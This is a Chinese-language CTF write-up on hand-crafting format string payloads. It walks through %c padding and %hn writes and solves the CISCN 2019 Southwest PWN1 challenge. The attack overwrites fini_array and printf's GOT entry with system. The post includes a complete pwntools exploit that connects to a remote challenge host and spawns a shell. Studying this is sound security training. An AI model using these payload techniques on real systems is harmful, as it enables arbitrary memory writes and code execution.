手写格式化字符串payload

文章发布时间:

最后更新时间:

文章总字数:
1.3k

预计阅读时间:
5 分钟

漏洞分析

万万没想到直到学习了pwn五个月以后 我才开始学习手写格式化字符串payload 先前都是习惯利用了fmstr_payload来构造了 但是直到遇到了一道题 要在一次格式化字符漏洞中 利用两次 fmstr_payload构造出来的payload无法达到预期的攻击效果 所以只能自己手写了

来复习一下格式化字符串任意写漏洞的原理

利用了%n可以根据已经输出的字节修改对应偏移处地址的值

不过先前我们学习过的任意写 只是简单的将一个地址处的值修改为个位数大小 所需要的字节数很小 如果我们想要修改got表的值为后门函数呢 这要如何实现 总不可能传输同等大小的字节数吧

这时候引入一个新的格式化字符 %c 其有什么效果呢 我们编写下面一段小程序

1
2
3
4
5
#include <stdio.h>
int main(){
char a[20]="test";
printf("%c",a[0]);
}

%c 可以输出单个字符 所以此时的运行结果应该是单个字符t

image-20230314210702555

如果像%s之类的格式化字符 在前面加上数字呢 又有什么效果?

1
2
3
4
5
#include <stdio.h>
int main(){
char a[20]="test";
printf("%10c",a[0]);
}

image-20230314210756891

可以看到最后的结果在实际输出的字符t前面 还加上了9字节的\x00 也就是会自动补全我们输出的字符

而其占用的字节数也很小 哪怕是%0x10000c 所占用的字节数也只为9

这就使得哪怕题目限制了我们利用格式化字符漏洞的payload的字节数 我们仍然可以保证任意写的攻击

但是这仍然不够完美 我们还有没有更好的办法来修改got表这样的地址其值

我们来看一下函数的got表 在32位情况下 其存储的值是如何占用这四个字节

image-20230314211853603

可以看到是小端序存储 并且一个字节对应着两个数字

那么比如说printf函数中的got表 高位的0x08 对应的地址为0x804989c + 3

如果我们只需要修改高位的值 就可以往这个地址写入单字节 利用 ‘h’来构造格式化字符

1
2
payload = "%"+str(要修改的值).encode()+"c%偏移$hhn"
payload += p64(地址)

实例分析

下面利用一道国赛题来帮助理解

[CISCN 2019西南]PWN1

查看一下保护机制

image-20230314212727020

没有开启Partical RELRO 或者是Full RELRO 那么可以fini_array处就有可写的权限

ida看一下伪代码

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[68]; // [esp+0h] [ebp-48h] BYREF

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
}

同时还提供了system函数

只有一次格式化字符串的机会 既然可以修改fini_array 那么我们首先想到的就是利用格式化字符串漏洞 将fini_array修改为main函数的地址

不过实际攻击效果和我预期的有点不一样 在第二次执行完main函数以后就没有办法再次返回了 估计是栈空间不够的锅 那没办法 就只能在第一次格式化字符串的时候就同时修改fini_array和printf函数的got表

就是这里 利用fmstr_payload构造出来的payload无法达到预期的攻击效果 所以我们采用手写的方式

首先是计算一下偏移 这个就不详细展开了 最后发现的偏移是4

1
2
3
4
5
6
7
8
9
10
11
12
fini_addr = 0x804979C
main_addr = 0x8048534
printf_got = 0x804989c
system_addr = 0x80483d0
payload = b'%'+str(0x0804).encode()+b'c%15$hn'
payload += b'%16$hn'
payload += b'%'+str(0x83d0-0x0804).encode()+b'c%17$hn'
payload += b'%'+str(0x8534-0x83d0).encode()+b'c%18$hnaa'
payload += p32(fini_addr+2)
payload += p32(printf_got+2)
payload += p32(printf_got)
payload += p32(fini_addr)

首先我们要清楚一点 如果单次格式化字符利用想要修改多个地址值 那么后面需要修改的值一定是要大于前面的

因为前面%c输出的空字符 也算到后面的总字节数里面的 为了防止修改的值超出预期 所以需要把较大的数值安排到后面

还有一点是为什么要用str().encode()的形式 是因为python3 byte型和字符型的要求

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
from LibcSearcher import*
#io = process("./pwn")
io = remote("1.14.71.254",28573)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
context.arch = "i386"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

fini_addr = 0x804979C
main_addr = 0x8048534
printf_got = 0x804989c
system_addr = 0x80483d0
io.recvuntil("Welcome to my ctf! What's your name?")
payload = b'%'+str(0x0804).encode()+b'c%15$hn'
payload += b'%16$hn'
payload += b'%'+str(0x83d0-0x0804).encode()+b'c%17$hn'
payload += b'%'+str(0x8534-0x83d0).encode()+b'c%18$hnaa'
payload += p32(fini_addr+2)
payload += p32(printf_got+2)
payload += p32(printf_got)
payload += p32(fini_addr)
print(len(payload))
io.sendline(payload)
io.recvuntil("Welcome to my ctf! What's your name?")
payload = b'/bin/sh'
io.sendline(payload)
io.interactive()